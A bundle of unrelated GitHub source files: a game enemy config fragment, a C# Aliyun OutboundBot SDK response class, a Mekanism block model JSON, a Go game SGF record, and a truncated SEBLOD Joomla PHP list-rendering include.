sound_falloff('hortlebort-shot'+1d4+'.wav'),
add_object(contrail_particles),
]",
on_end_anim: "animation('normal')",
animation: {
id: "normal",
image: "enemies/hortlebort-grey.png",
rect: [202,1,212,11],
pad: 3,
frames: 4,
duration: 1,
body_area: "all",
attack_area: "all",
},
},
],
}
|
{
"pile_set_name": "Github"
}
|
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
using System.Collections.Generic;
using Aliyun.Acs.Core;
namespace Aliyun.Acs.OutboundBot.Model.V20191226
{
public class GetJobByPhoneNumberResponse : AcsResponse
{
private string requestId;
private bool? success;
private string code;
private string message;
private int? httpStatusCode;
private List<GetJobByPhoneNumber_Job> jobs;
public string RequestId
{
get
{
return requestId;
}
set
{
requestId = value;
}
}
public bool? Success
{
get
{
return success;
}
set
{
success = value;
}
}
public string Code
{
get
{
return code;
}
set
{
code = value;
}
}
public string Message
{
get
{
return message;
}
set
{
message = value;
}
}
public int? HttpStatusCode
{
get
{
return httpStatusCode;
}
set
{
httpStatusCode = value;
}
}
public List<GetJobByPhoneNumber_Job> Jobs
{
get
{
return jobs;
}
set
{
jobs = value;
}
}
public class GetJobByPhoneNumber_Job
{
private string jobId;
private string groupId;
private string scenarioId;
private string strategyId;
private int? priority;
private int? systemPriority;
private string status;
private string referenceId;
private string failureReason;
private List<GetJobByPhoneNumber_Contact> contacts;
private List<GetJobByPhoneNumber_KeyValuePair> extras;
private List<GetJobByPhoneNumber_Task> tasks;
private List<GetJobByPhoneNumber_SummaryItem3> summary;
private List<string> callingNumbers;
public string JobId
{
get
{
return jobId;
}
set
{
jobId = value;
}
}
public string GroupId
{
get
{
return groupId;
}
set
{
groupId = value;
}
}
public string ScenarioId
{
get
{
return scenarioId;
}
set
{
scenarioId = value;
}
}
public string StrategyId
{
get
{
return strategyId;
}
set
{
strategyId = value;
}
}
public int? Priority
{
get
{
return priority;
}
set
{
priority = value;
}
}
public int? SystemPriority
{
get
{
return systemPriority;
}
set
{
systemPriority = value;
}
}
public string Status
{
get
{
return status;
}
set
{
status = value;
}
}
public string ReferenceId
{
get
{
return referenceId;
}
set
{
referenceId = value;
}
}
public string FailureReason
{
get
{
return failureReason;
}
set
{
failureReason = value;
}
}
public List<GetJobByPhoneNumber_Contact> Contacts
{
get
{
return contacts;
}
set
{
contacts = value;
}
}
public List<GetJobByPhoneNumber_KeyValuePair> Extras
{
get
{
return extras;
}
set
{
extras = value;
}
}
public List<GetJobByPhoneNumber_Task> Tasks
{
get
{
return tasks;
}
set
{
tasks = value;
}
}
public List<GetJobByPhoneNumber_SummaryItem3> Summary
{
get
{
return summary;
}
set
{
summary = value;
}
}
public List<string> CallingNumbers
{
get
{
return callingNumbers;
}
set
{
callingNumbers = value;
}
}
public class GetJobByPhoneNumber_Contact
{
private string contactId;
private string contactName;
private string honorific;
private string role;
private string phoneNumber;
private string state;
private string referenceId;
private string jobId;
public string ContactId
{
get
{
return contactId;
}
set
{
contactId = value;
}
}
public string ContactName
{
get
{
return contactName;
}
set
{
contactName = value;
}
}
public string Honorific
{
get
{
return honorific;
}
set
{
honorific = value;
}
}
public string Role
{
get
{
return role;
}
set
{
role = value;
}
}
public string PhoneNumber
{
get
{
return phoneNumber;
}
set
{
phoneNumber = value;
}
}
public string State
{
get
{
return state;
}
set
{
state = value;
}
}
public string ReferenceId
{
get
{
return referenceId;
}
set
{
referenceId = value;
}
}
public string JobId
{
get
{
return jobId;
}
set
{
jobId = value;
}
}
}
public class GetJobByPhoneNumber_KeyValuePair
{
private string key;
private string _value;
public string Key
{
get
{
return key;
}
set
{
key = value;
}
}
public string _Value
{
get
{
return _value;
}
set
{
_value = value;
}
}
}
public class GetJobByPhoneNumber_Task
{
private string taskId;
private string jobId;
private string scenarioId;
private string chatbotId;
private long? planedTime;
private long? actualTime;
private string callingNumber;
private string calledNumber;
private string callId;
private string status;
private string brief;
private int? duration;
private List<GetJobByPhoneNumber_ConversationDetail> conversation;
private GetJobByPhoneNumber_Contact2 contact2;
public string TaskId
{
get
{
return taskId;
}
set
{
taskId = value;
}
}
public string JobId
{
get
{
return jobId;
}
set
{
jobId = value;
}
}
public string ScenarioId
{
get
{
return scenarioId;
}
set
{
scenarioId = value;
}
}
public string ChatbotId
{
get
{
return chatbotId;
}
set
{
chatbotId = value;
}
}
public long? PlanedTime
{
get
{
return planedTime;
}
set
{
planedTime = value;
}
}
public long? ActualTime
{
get
{
return actualTime;
}
set
{
actualTime = value;
}
}
public string CallingNumber
{
get
{
return callingNumber;
}
set
{
callingNumber = value;
}
}
public string CalledNumber
{
get
{
return calledNumber;
}
set
{
calledNumber = value;
}
}
public string CallId
{
get
{
return callId;
}
set
{
callId = value;
}
}
public string Status
{
get
{
return status;
}
set
{
status = value;
}
}
public string Brief
{
get
{
return brief;
}
set
{
brief = value;
}
}
public int? Duration
{
get
{
return duration;
}
set
{
duration = value;
}
}
public List<GetJobByPhoneNumber_ConversationDetail> Conversation
{
get
{
return conversation;
}
set
{
conversation = value;
}
}
public GetJobByPhoneNumber_Contact2 Contact2
{
get
{
return contact2;
}
set
{
contact2 = value;
}
}
public class GetJobByPhoneNumber_ConversationDetail
{
private long? timestamp;
private string speaker;
private string script;
private List<GetJobByPhoneNumber_SummaryItem> summary1;
public long? Timestamp
{
get
{
return timestamp;
}
set
{
timestamp = value;
}
}
public string Speaker
{
get
{
return speaker;
}
set
{
speaker = value;
}
}
public string Script
{
get
{
return script;
}
set
{
script = value;
}
}
public List<GetJobByPhoneNumber_SummaryItem> Summary1
{
get
{
return summary1;
}
set
{
summary1 = value;
}
}
public class GetJobByPhoneNumber_SummaryItem
{
private string category;
private string summaryName;
private string content;
public string Category
{
get
{
return category;
}
set
{
category = value;
}
}
public string SummaryName
{
get
{
return summaryName;
}
set
{
summaryName = value;
}
}
public string Content
{
get
{
return content;
}
set
{
content = value;
}
}
}
}
public class GetJobByPhoneNumber_Contact2
{
private string contactId;
private string contactName;
private string honorific;
private string role;
private string phoneNumber;
private string state;
private string referenceId;
private string jobId;
public string ContactId
{
get
{
return contactId;
}
set
{
contactId = value;
}
}
public string ContactName
{
get
{
return contactName;
}
set
{
contactName = value;
}
}
public string Honorific
{
get
{
return honorific;
}
set
{
honorific = value;
}
}
public string Role
{
get
{
return role;
}
set
{
role = value;
}
}
public string PhoneNumber
{
get
{
return phoneNumber;
}
set
{
phoneNumber = value;
}
}
public string State
{
get
{
return state;
}
set
{
state = value;
}
}
public string ReferenceId
{
get
{
return referenceId;
}
set
{
referenceId = value;
}
}
public string JobId
{
get
{
return jobId;
}
set
{
jobId = value;
}
}
}
}
public class GetJobByPhoneNumber_SummaryItem3
{
private string category;
private string summaryName;
private string content;
public string Category
{
get
{
return category;
}
set
{
category = value;
}
}
public string SummaryName
{
get
{
return summaryName;
}
set
{
summaryName = value;
}
}
public string Content
{
get
{
return content;
}
set
{
content = value;
}
}
}
}
}
}
|
{
"pile_set_name": "Github"
}
|
{
"credit": "Model by CyanideX",
"loader": "mekanism:mekanism",
"textures": {
"1": "mekanism:block/models/resistive_heater_sides",
"2": "mekanism:block/models/resistive_heater_sides_2",
"3": "mekanism:block/models/resistive_heater_top",
"4": "mekanism:block/models/resistive_heater_bottom",
"5": "mekanism:block/models/ports",
"6": "mekanism:block/models/resistive_heater_led",
"particle": "mekanism:block/models/resistive_heater_sides_2"
},
"elements": [
{
"name": "port_left",
"from": [-0.005, 4, 4],
"to": [0.995, 12, 12],
"rotation": {"angle": 0, "axis": "y", "origin": [0.495, 8, 8]},
"faces": {
"west": {"uv": [16, 8, 8, 16], "texture": "#5"}
}
},
{
"name": "port_left_led_1",
"from": [-0.01, 10, 5],
"to": [0.99, 11, 11],
"rotation": {"angle": 0, "axis": "y", "origin": [0.495, 9, 9]},
"faces": {
"west": {"uv": [10, 10, 16, 11], "texture": "#6", "lightLevel": 15}
}
},
{
"name": "port_left_led_2",
"from": [-0.01, 5, 5],
"to": [0.99, 6, 11],
"rotation": {"angle": 0, "axis": "y", "origin": [0.495, 4, 9]},
"faces": {
"west": {"uv": [10, 15, 16, 16], "texture": "#6", "lightLevel": 15}
}
},
{
"name": "port_left_led_3",
"from": [-0.01, 6, 5],
"to": [0.99, 10, 6],
"rotation": {"angle": 0, "axis": "y", "origin": [0.495, 8, 9]},
"faces": {
"west": {"uv": [10, 11, 11, 15], "texture": "#6", "lightLevel": 15}
}
},
{
"name": "port_left_led_4",
"from": [-0.01, 6, 10],
"to": [0.99, 10, 11],
"rotation": {"angle": 0, "axis": "y", "origin": [0.495, 8, 14]},
"faces": {
"west": {"uv": [15, 11, 16, 15], "texture": "#6", "lightLevel": 15}
}
},
{
"name": "port_right",
"from": [15.005, 4, 4],
"to": [16.005, 12, 12],
"rotation": {"angle": 0, "axis": "y", "origin": [15.505, 8, 8]},
"faces": {
"east": {"uv": [8, 8, 16, 16], "texture": "#5"}
}
},
{
"name": "port_right_led_1",
"from": [15.01, 10, 5],
"to": [16.01, 11, 11],
"rotation": {"angle": 0, "axis": "y", "origin": [15.505, 9, 9]},
"faces": {
"east": {"uv": [10, 10, 16, 11], "texture": "#6", "lightLevel": 15}
}
},
{
"name": "port_right_led_2",
"from": [15.01, 5, 5],
"to": [16.01, 6, 11],
"rotation": {"angle": 0, "axis": "y", "origin": [15.505, 4, 9]},
"faces": {
"east": {"uv": [10, 15, 16, 16], "texture": "#6", "lightLevel": 15}
}
},
{
"name": "port_right_led_3",
"from": [15.01, 6, 10],
"to": [16.01, 10, 11],
"rotation": {"angle": 0, "axis": "y", "origin": [15.505, 8, 9]},
"faces": {
"east": {"uv": [10, 11, 11, 15], "texture": "#6", "lightLevel": 15}
}
},
{
"name": "port_right_led_4",
"from": [15.01, 6, 5],
"to": [16.01, 10, 6],
"rotation": {"angle": 0, "axis": "y", "origin": [15.505, 8, 4]},
"faces": {
"east": {"uv": [15, 11, 16, 15], "texture": "#6", "lightLevel": 15}
}
},
{
"name": "bar1",
"from": [4, 13, 1.5],
"to": [5, 14, 14.5],
"rotation": {"angle": 0, "axis": "y", "origin": [8, 0, 8]},
"faces": {
"east": {"uv": [1, 1, 2, 15], "rotation": 90, "texture": "#3"},
"west": {"uv": [1, 1, 2, 15], "rotation": 90, "texture": "#3"},
"up": {"uv": [1, 1, 2, 15], "texture": "#3"},
"down": {"uv": [1, 1, 2, 15], "texture": "#3"}
}
},
{
"name": "bar2",
"from": [6, 13, 1.5],
"to": [7, 14, 14.5],
"rotation": {"angle": 0, "axis": "y", "origin": [10, 0, 8]},
"faces": {
"east": {"uv": [1, 1, 2, 15], "rotation": 90, "texture": "#3"},
"west": {"uv": [1, 1, 2, 15], "rotation": 90, "texture": "#3"},
"up": {"uv": [1, 1, 2, 15], "texture": "#3"},
"down": {"uv": [1, 1, 2, 15], "texture": "#3"}
}
},
{
"name": "bar3",
"from": [9, 13, 1.5],
"to": [10, 14, 14.5],
"rotation": {"angle": 0, "axis": "y", "origin": [13, 0, 8]},
"faces": {
"east": {"uv": [1, 1, 2, 15], "rotation": 90, "texture": "#3"},
"west": {"uv": [1, 1, 2, 15], "rotation": 90, "texture": "#3"},
"up": {"uv": [1, 1, 2, 15], "texture": "#3"},
"down": {"uv": [1, 1, 2, 15], "texture": "#3"}
}
},
{
"name": "bar4",
"from": [11, 13, 1.5],
"to": [12, 14, 14.5],
"rotation": {"angle": 0, "axis": "y", "origin": [15, 0, 8]},
"faces": {
"east": {"uv": [1, 1, 2, 15], "rotation": 90, "texture": "#3"},
"west": {"uv": [1, 1, 2, 15], "rotation": 90, "texture": "#3"},
"up": {"uv": [1, 1, 2, 15], "texture": "#3"},
"down": {"uv": [1, 1, 2, 15], "texture": "#3"}
}
},
{
"name": "base",
"from": [0, 0, 0],
"to": [16, 7, 16],
"rotation": {"angle": 0, "axis": "y", "origin": [8, 0, 8]},
"faces": {
"north": {"uv": [0, 9, 16, 16], "texture": "#1"},
"east": {"uv": [0, 9, 16, 16], "texture": "#1"},
"south": {"uv": [0, 9, 16, 16], "texture": "#1"},
"west": {"uv": [0, 9, 16, 16], "texture": "#1"},
"up": {"uv": [0, 0, 16, 16], "texture": "#3"},
"down": {"uv": [0, 0, 16, 16], "texture": "#4"}
}
},
{
"name": "wall_right",
"from": [13, 7, 0],
"to": [16, 16, 16],
"rotation": {"angle": 0, "axis": "y", "origin": [21, 0, 8]},
"faces": {
"north": {"uv": [0, 0, 3, 9], "texture": "#1"},
"east": {"uv": [0, 0, 16, 9], "texture": "#2"},
"south": {"uv": [0, 0, 3, 9], "texture": "#1"},
"west": {"uv": [0, 0, 16, 9], "texture": "#2"},
"up": {"uv": [0, 0, 3, 16], "texture": "#3"}
}
},
{
"name": "wall_left",
"from": [0, 7, 0],
"to": [3, 16, 16],
"rotation": {"angle": 0, "axis": "y", "origin": [8, 0, 8]},
"faces": {
"north": {"uv": [0, 0, 3, 9], "texture": "#1"},
"east": {"uv": [0, 0, 16, 9], "texture": "#2"},
"south": {"uv": [0, 0, 3, 9], "texture": "#1"},
"west": {"uv": [0, 0, 16, 9], "texture": "#2"},
"up": {"uv": [0, 0, 3, 16], "texture": "#3"}
}
},
{
"name": "fin_led_1",
"from": [3, 6, 1],
"to": [13, 15, 2],
"rotation": {"angle": 0, "axis": "y", "origin": [8, 0, 8]},
"faces": {
"north": {"uv": [0, 1, 10, 10], "texture": "#6", "lightLevel": 15},
"south": {"uv": [0, 1, 10, 10], "texture": "#6", "lightLevel": 15},
"up": {"uv": [0, 0, 10, 1], "texture": "#6", "lightLevel": 15}
}
},
{
"name": "fin_led_2",
"from": [3, 6, 3],
"to": [13, 15, 4],
"rotation": {"angle": 0, "axis": "y", "origin": [8, 0, 10]},
"faces": {
"north": {"uv": [0, 1, 10, 10], "texture": "#6", "lightLevel": 15},
"south": {"uv": [0, 1, 10, 10], "texture": "#6", "lightLevel": 15},
"up": {"uv": [0, 0, 10, 1], "texture": "#6", "lightLevel": 15}
}
},
{
"name": "fin_led_3",
"from": [3, 6, 5],
"to": [13, 15, 6],
"rotation": {"angle": 0, "axis": "y", "origin": [8, 0, 12]},
"faces": {
"north": {"uv": [0, 1, 10, 10], "texture": "#6", "lightLevel": 15},
"south": {"uv": [0, 1, 10, 10], "texture": "#6", "lightLevel": 15},
"up": {"uv": [0, 0, 10, 1], "texture": "#6", "lightLevel": 15}
}
},
{
"name": "fin_led_4",
"from": [3, 6, 7],
"to": [13, 15, 8],
"rotation": {"angle": 0, "axis": "y", "origin": [8, 0, 14]},
"faces": {
"north": {"uv": [0, 1, 10, 10], "texture": "#6", "lightLevel": 15},
"south": {"uv": [0, 1, 10, 10], "texture": "#6", "lightLevel": 15},
"up": {"uv": [0, 0, 10, 1], "texture": "#6", "lightLevel": 15}
}
},
{
"name": "fin_led_5",
"from": [3, 6, 8],
"to": [13, 15, 9],
"rotation": {"angle": 0, "axis": "y", "origin": [8, 0, 15]},
"faces": {
"north": {"uv": [0, 1, 10, 10], "texture": "#6", "lightLevel": 15},
"south": {"uv": [0, 1, 10, 10], "texture": "#6", "lightLevel": 15},
"up": {"uv": [0, 0, 10, 1], "texture": "#6", "lightLevel": 15}
}
},
{
"name": "fin_led_6",
"from": [3, 6, 10],
"to": [13, 15, 11],
"rotation": {"angle": 0, "axis": "y", "origin": [8, 0, 17]},
"faces": {
"north": {"uv": [0, 1, 10, 10], "texture": "#6", "lightLevel": 15},
"south": {"uv": [0, 1, 10, 10], "texture": "#6", "lightLevel": 15},
"up": {"uv": [0, 0, 10, 1], "texture": "#6", "lightLevel": 15}
}
},
{
"name": "fin_led_7",
"from": [3, 6, 12],
"to": [13, 15, 13],
"rotation": {"angle": 0, "axis": "y", "origin": [8, 0, 19]},
"faces": {
"north": {"uv": [0, 1, 10, 10], "texture": "#6", "lightLevel": 15},
"south": {"uv": [0, 1, 10, 10], "texture": "#6", "lightLevel": 15},
"up": {"uv": [0, 0, 10, 1], "texture": "#6", "lightLevel": 15}
}
},
{
"name": "fin_led_8",
"from": [3, 6, 14],
"to": [13, 15, 15],
"rotation": {"angle": 0, "axis": "y", "origin": [8, 0, 21]},
"faces": {
"north": {"uv": [0, 1, 10, 10], "texture": "#6", "lightLevel": 15},
"south": {"uv": [0, 1, 10, 10], "texture": "#6", "lightLevel": 15},
"up": {"uv": [0, 0, 10, 1], "texture": "#6", "lightLevel": 15}
}
}
],
"display": {
"thirdperson_righthand": {
"rotation": [75, 45, 0],
"translation": [0, 2.5, 0],
"scale": [0.375, 0.375, 0.375]
},
"thirdperson_lefthand": {
"rotation": [75, 45, 0],
"translation": [0, 2.5, 0],
"scale": [0.375, 0.375, 0.375]
},
"firstperson_righthand": {
"rotation": [0, 45, 0],
"scale": [0.4, 0.4, 0.4]
},
"firstperson_lefthand": {
"rotation": [0, 225, 0],
"scale": [0.4, 0.4, 0.4]
},
"ground": {
"translation": [0, 3, 0],
"scale": [0.25, 0.25, 0.25]
},
"gui": {
"rotation": [30, 225, 0],
"scale": [0.625, 0.625, 0.625]
},
"fixed": {
"scale": [0.5, 0.5, 0.5]
}
},
"groups": [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16,
{
"name": "fins",
"origin": [8, 0, 21],
"children": [17, 18, 19, 20, 21, 22, 23, 24]
}
]
}
|
{
"pile_set_name": "Github"
}
|
(;CA[UTF-8]AP[YuanYu]GM[1]FF[4]
SZ[19]
GN[]
DT[2018-05-22]
PB[金毛测试]BR[9段]
PW[mahoapo]WR[9段]
KM[750]HA[0]RU[Japanese]RE[B+R]TM[1200]TC[7]TT[30]
;B[pp];W[dp];B[pc];W[dd];B[fc];W[cf];B[pf];W[qn];B[nq];W[rp];B[cq]
;W[cp];B[dq];W[fq];B[eq];W[ep];B[fr];W[dj];B[ql];W[qq];B[pn];W[qo]
;B[gq];W[fp];B[bq];W[ho];B[jd];W[pm];B[pl];W[om];B[ol];W[hq];B[gr]
;W[nm];B[kp];W[hc];B[hd];W[ic];B[id];W[jc];B[kc];W[kb];B[lc];W[lb]
;B[mc];W[gc];B[dc];W[cc];B[gd];W[ed];B[fd];W[mb];B[nb];W[qc];B[qd]
;W[pd];B[od];W[mk];B[gb];W[hb];B[eb];W[ga];B[fb];W[ob];B[nc];W[pb]
;B[pe];W[rc];B[ma];W[la];B[jb];W[na];B[ib];W[nj];B[rd];W[ra];B[oi]
;W[oj];B[pi];W[lq];B[lp];W[kq];B[jp];W[mq];B[mp];W[nr];B[or];W[oq]
;B[np];W[pr];B[gp];W[go];B[jq];W[pj];B[qj];W[bp];B[gm];W[em];B[dh]
;W[ch];B[fk];W[ek];B[fj];W[eh];B[fn];W[fo];B[en];W[dn];B[eg];W[dg]
;B[fh];W[ei];B[fi];W[fl];B[gl];W[ni];B[kj];W[lh];B[qi];W[lm];B[cb]
;W[bc];B[kh])
|
{
"pile_set_name": "Github"
}
|
<?php
/**
* @version SEBLOD 3.x Core ~ $Id: list_inc.php sebastienheraud $
* @package SEBLOD (App Builder & CCK) // SEBLOD nano (Form Builder)
* @url https://www.seblod.com
* @editor Octopoos - www.octopoos.com
* @copyright Copyright (C) 2009 - 2018 SEBLOD. All Rights Reserved.
* @license GNU General Public License version 2 or later; see _LICENSE.php
**/
defined( '_JEXEC' ) or die;
JHtml::_( 'behavior.core' );
$app = JFactory::getApplication();
$data = '';
$form = '';
$id = 0; // $app->input->getInt( 'id', 0 ); Not even sure why it was there.. any regression?
$isCached = '';
$itemId = ( $preconfig['itemId'] == '' ) ? $app->input->getInt( 'Itemid', 0 ) : $preconfig['itemId'];
$items = array();
$lang = JFactory::getLanguage();
$path = JPATH_SITE.'/templates';
$total = 0;
$total_items = 0;
$user = JCck::getUser();
$user->gid = 25; /* TODO#SEBLOD: ACL */
// Search
$search = CCK_List::getSearch( $preconfig['search'], $id );
if ( ! $search ) {
$config = array( 'action'=>$preconfig['action'],
'core'=>true,
'formId'=>$preconfig['formId'],
'Itemid'=>$itemId,
'javascript'=>'',
'location'=>'',
'submit'=>$preconfig['submit'],
'validation'=>array(),
'validation_options'=>array()
);
$app->enqueueMessage( 'Oops! Search Type not found.. ; (', 'error' ); return;
}
$lang->load( 'pkg_app_cck_'.$search->folder_app, JPATH_SITE, null, false, false );
$no_action = '';
$options = new JRegistry;
$options->loadString( $search->options );
$preconfig['show_form'] = ( $preconfig['show_form'] != '' ) ? (int)$preconfig['show_form'] : (int)$options->get( 'show_form', 1 );
$preconfig['show_list'] = ( isset( $preconfig['show_list'] ) ) ? (int)$preconfig['show_list'] : (int)$options->get( 'show_list', 1 );
$preconfig['auto_redirect'] = ( $preconfig['auto_redirect'] != '' ) ? $preconfig['auto_redirect'] : $options->get( 'auto_redirect', 0 );
$doDebug = (int)$options->get( 'debug', JCck::getConfig_Param( 'debug', 0 ) );
if ( $doDebug == 1 || ( $doDebug == 2 && $user->authorise( 'core.admin' ) ) ) {
$doDebug = 1;
} elseif ( $doDebug == 11 || ( $doDebug == 12 && $user->authorise( 'core.admin' ) ) ) {
$doDebug = 10;
} elseif ( $doDebug == -1 || ( $doDebug == -2 && $user->authorise( 'core.admin' ) ) ) {
$doDebug = -1;
} else {
$doDebug = 0;
}
$options->set( 'debug', $doDebug );
// ACL
if ( !in_array( $search->access, $user->getAuthorisedViewLevels() ) ) {
$config = array( 'action'=>$preconfig['action'],
'core'=>true,
'formId'=>$preconfig['formId'],
'Itemid'=>$itemId,
'javascript'=>'',
'limitend'=>0,
'location'=>'',
'submit'=>$preconfig['submit'],
'type'=>$search->name,
'validation'=>array(),
'validation_options'=>array()
);
$no_message = $options->get( 'message_no_access' );
$no_redirect = $options->get( 'redirection_url_no_access', 'index.php?option=com_users&view=login' );
$no_style = $options->get( 'message_style_no_access', 'error' );
$no_action = $options->get( 'action_no_access', 'redirection' );
CCK_List::redirect( $no_action, $no_redirect, $no_message, $no_style, $config, $doDebug ); return;
}
// Fields
$fields = CCK_List::getFields( $search->name, array( $preconfig['client'], 'order' ), '', true, true );
$count = count( $fields['search'] );
$excluded_stages = explode( ',', $options->get( 'stages_optional', '' ) );
if ( ! $count ) {
$config = array( 'action'=>$preconfig['action'],
'core'=>true,
'formId'=>$preconfig['formId'],
'Itemid'=>$itemId,
'javascript'=>'',
'limitend'=>0,
'location'=>'',
'submit'=>$preconfig['submit'],
'type'=>$search->name,
'validation'=>array(),
'validation_options'=>array()
);
if ( !( $preconfig['task'] == 'no' && !$preconfig['show_form'] ) ) {
$app->enqueueMessage( 'Oops! Fields not found.. ; (', 'error' );
}
return;
}
// Init
$hasAjax = false;
$limitend = ( isset( $preconfig['limitend'] ) && $preconfig['limitend'] != '' ) ? (int)$preconfig['limitend'] : (int)$options->get( 'pagination', JCck::getConfig_Param( 'pagination', 25 ) );
$list_context = 'com_cck.'.$search->name;
$pagination = ( isset( $pagination ) && $pagination != '' ) ? $pagination : $options->get( 'show_pagination', 0 );
$isAltered = false;
$isInfinite = ( $pagination == 2 || $pagination == 8 ) ? true : false;
$isPersistent = (int)$options->get( 'persistent_query', '0' );
$isSearch = (int)JUri::getInstance()->hasVar( 'task' ); /* TODO#SEBLOD: add "data-cck-remove-before-search" behavior on empty fields/values + test with persistent search + fix checkboxes on persistent search vs isset($post[...]) */
$session = JFactory::getSession();
$registry = $session->get( 'registry' );
if ( $isPersistent == 1 || ( $isPersistent == 2 && $user->id && !$user->guest ) ) {
$isPersistent = true;
} else {
$isPersistent = false;
}
// Variations
$variation = explode( '||', $variation );
$variations = array();
foreach ( $variation as $var ) {
if ( $var != '' ) {
$v = explode( '=', $var );
if ( $v[1] == 'none' ) { $v[1] = 'hidden'; } /* TODO#SEBLOD: FIX TO REMOVE AFTER GA */
$variations[$v[0]] = $v[1];
}
}
$method = 0;
$searchLength = 0;
$ordering = ( @$preconfig['ordering'] != '' ) ? $preconfig['ordering'] : $options->get( 'ordering', '' );
$active = array();
$active[0] = 'cck';
$areas['active']= $active;
if ( $preconfig['task'] == 'search' || $preconfig['task'] == 'search2' ) {
$post = ( $method ) ? JRequest::get( 'post' ) : JRequest::get( 'get' );
}
$config = array( 'action'=>$preconfig['action'],
'client'=>$preconfig['client'],
'context'=>array(),
'core'=>true,
'doPagination'=>true,
'doQuery'=>true,
'doSEF'=>$options->get( 'sef', JCck::getConfig_Param( 'sef', '2' ) ),
'doTranslation'=>JCck::getConfig_Param( 'language_jtext', 0 ),
'doValidation'=>(int)JCck::getConfig_Param( 'validation', '3' ),
'formId'=>$preconfig['formId'],
'formWrapper'=>false,
'Itemid'=>$itemId,
'limitend'=>0,
'location'=>'',
'pk'=>$id,
'sef_aliases'=>$search->sef_route_aliases,
'submit'=>$preconfig['submit'],
'type'=>$search->name,
'type_id'=>$search->id,
'type_alias'=>( $search->alias ? $search->alias : $search->name ),
'validate'=>array(),
'validation'=>array(),
'validation_options'=>array()
);
jimport( 'cck.rendering.document.document' );
JPluginHelper::importPlugin( 'cck_field' );
JPluginHelper::importPlugin( 'cck_field_live' );
JPluginHelper::importPlugin( 'cck_field_restriction' );
$dispatcher = JEventDispatcher::getInstance();
// -------- -------- -------- -------- -------- -------- -------- -------- // Show Form
if ( $preconfig['show_form'] ) {
JHtml::_( 'behavior.core' );
// Template
$P = 'template_'.$preconfig['client'];
$templateStyle = CCK_List::getTemplateStyle( $search->$P, array( 'rendering_css_core'=>$search->stylesheets ) );
if ( ! $templateStyle ) {
$app->enqueueMessage( 'Oops! Template not found.. ; (', 'error' ); return;
}
$doc = CCK_Document::getInstance( 'html' );
// Positions
$positions = array();
$positions_more = CCK_List::getPositions( $search->id, $preconfig['client'] );
// Template Override
$tpl['home'] = $app->getTemplate();
$path = JPATH_SITE.'/templates/'.$templateStyle->name;
if ( $preconfig['show_form'] > -1 ) {
$path_root = JPATH_SITE.'/templates';
$tmpl = $templateStyle->name;
$rparams = array( 'template'=>$tmpl, 'file'=>'index.php', 'directory'=>$path_root );
}
}
// -------- -------- -------- -------- -------- -------- -------- -------- // Prepare Context
$context = $app->input->getString( 'context' );
$isRaw = false;
if ( $context != '' ) {
$context = json_decode( $context, true );
$excluded = array(
'cid'=>'',
'copyfrom_id'=>'',
/* 'id'=>'', OK, we can keep it */
'limit'=>'',
'option'=>'',
'pk'=>'',
/* 'referrer'=>'', we should keep this one as well */
'return'=>'',
'search'=>'',
'skip'=>'',
'stage'=>'',
'task'=>'',
'tid'=>'',
'tmpl'=>'', /* Let's keep it when format!=raw for now */
'type'=>''
);
foreach ( $context as $k=>$v ) {
if ( isset( $excluded[$k] ) ) {
if ( $k == 'tmpl' ) {
if ( $v == 'raw' ) {
$isRaw = true;
}
if ( $app->input->get( 'format' ) == 'raw' ) {
continue;
}
} else {
continue;
}
}
$app->input->set( $k, $v );
}
}
// Lives
if ( !isset( $lives ) ) {
$lives = array();
if ( isset( $live ) && $live ) {
$live = explode( '||', $live );
foreach ( $live as $liv ) {
if ( $liv != '' ) {
$l = explode( '=', $liv );
$lives[$l[0]] = $l[1];
}
}
} elseif ( isset( $context['referrer'] ) && $context['referrer'] ) {
if ( $registry->exists( $list_context.'.lives.'.$context['referrer'] ) ) {
$lives = $app->getUserState( $list_context.'.lives.'.$context['referrer'], array(), array() );
}
}
} elseif ( count( $lives ) && $isInfinite ) {
if ( isset( $preconfig['caller'] ) && $preconfig['caller'] ) {
$app->setUserState( $list_context.'.lives.'.$preconfig['caller'], $lives );
}
}
// We need to override form stuff based on the tmpl found within the context
if ( $isRaw ) {
$config['formId'] .= '_raw';
$config['submit'] .= '_raw';
}
if ( $isInfinite && $app->input->get( 'view' ) == 'list' && !isset( $menu ) ) {
$menu = $app->getMenu()->getItem( $app->input->getInt( 'Itemid' ) );
if ( is_object( $menu ) && isset( $menu->params ) ) {
$preconfig['limit'] = $menu->params->get( 'limit' );
$preconfig['search2'] = $menu->params->get( 'search2' );
}
}
// -------- -------- -------- -------- -------- -------- -------- -------- // Prepare Search
// Validation
if ( (int)JCck::getConfig_Param( 'validation', '3' ) > 1 ) {
$lang->load( 'plg_cck_field_validation_required', JPATH_ADMINISTRATOR, null, false, true );
require_once JPATH_PLUGINS.'/cck_field_validation/required/required.php';
}
$preconfig['client'] = 'list';
$error = '';
$current = array( 'stage'=>0, 'stages'=>array(), 'order_by'=>@$order_by );
$stages = array();
// Process
foreach ( $fields['search'] as $field ) {
$name = $field->name;
$value = '';
// Variation
if ( $field->variation_override ) {
$override = json_decode( $field->variation_override, true );
if ( count( $override ) ) {
foreach ( $override as $k=>$v ) {
$field->$k = $v;
}
}
$field->variation_override = null;
}
$field->variation = ( isset( $variations[$name] ) ) ? ( $variations[$name] == 'form' ? '' : $variations[$name] ) : $field->variation;
if ( $field->variation == 'form_filter_ajax' || $field->variation == 'list_filter_ajax' ) {
$hasAjax = true;
$isInfinite = true;
}
// Value
if ( ( !$field->variation || $field->variation == 'form_filter' || $field->variation == 'form_filter_ajax' || $field->variation == 'list' || $field->variation == 'list_filter' || $field->variation == 'list_filter_ajax' || strpos( $field->variation, 'custom_' ) !== false ) && isset( $post[$name] ) ) {
$value = $post[$name];
// Set Persistent Values
if ( $isPersistent ) {
$app->setUserState( $list_context.'.filter.'.$name, $value );
}
} else {
if ( isset( $lives[$name] ) ) {
$value = $lives[$name];
} else {
if ( $field->live && $field->variation != 'clear' ) {
